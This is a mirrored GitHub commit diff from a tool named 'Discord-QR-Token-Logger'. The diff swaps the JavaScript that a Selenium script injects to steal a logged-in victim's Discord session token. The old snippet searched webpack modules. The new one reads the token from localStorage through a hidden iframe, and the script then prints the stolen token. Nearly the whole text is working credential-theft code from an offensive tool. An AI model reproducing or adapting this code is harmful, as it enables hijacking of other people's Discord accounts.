mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-07-29 14:05:28 +00:00
Token Grabbing Method
This commit is contained in:
parent
fc646d8fc6
commit
2b2413a48a
@ -65,23 +65,19 @@ def main():
|
|||||||
if discord_login != driver.current_url:
|
if discord_login != driver.current_url:
|
||||||
print('Grabbing token... \n')
|
print('Grabbing token... \n')
|
||||||
token = driver.execute_script('''
|
token = driver.execute_script('''
|
||||||
|
getToken = function () {
|
||||||
var req = webpackJsonp.push([
|
window.dispatchEvent(new Event('beforeunload'));
|
||||||
[], {
|
let iframe = document.createElement('iframe');
|
||||||
extra_id: (e, t, r) => e.exports = r
|
iframe.style.display = 'none';
|
||||||
},
|
document.body.appendChild(iframe);
|
||||||
[
|
let localStorage = iframe.contentWindow.localStorage;
|
||||||
["extra_id"]
|
var token = JSON.parse(localStorage.token);
|
||||||
]
|
return token;
|
||||||
]);
|
}
|
||||||
for (let e in req.c)
|
let token = getToken();
|
||||||
if (req.c.hasOwnProperty(e)) {
|
return token;
|
||||||
let t = req.c[e].exports;
|
|
||||||
if (t && t.__esModule && t.default)
|
''')
|
||||||
for (let e in t.default) "getToken" === e && (token = t.default.getToken())
|
|
||||||
}
|
|
||||||
return token;
|
|
||||||
''')
|
|
||||||
print('------------------------------------------------------------------------------------------')
|
print('------------------------------------------------------------------------------------------')
|
||||||
print('Token grabbed:',token)
|
print('Token grabbed:',token)
|
||||||
#==================================================================================================================================
|
#==================================================================================================================================
|
||||||
|
Loading…
x
Reference in New Issue
Block a user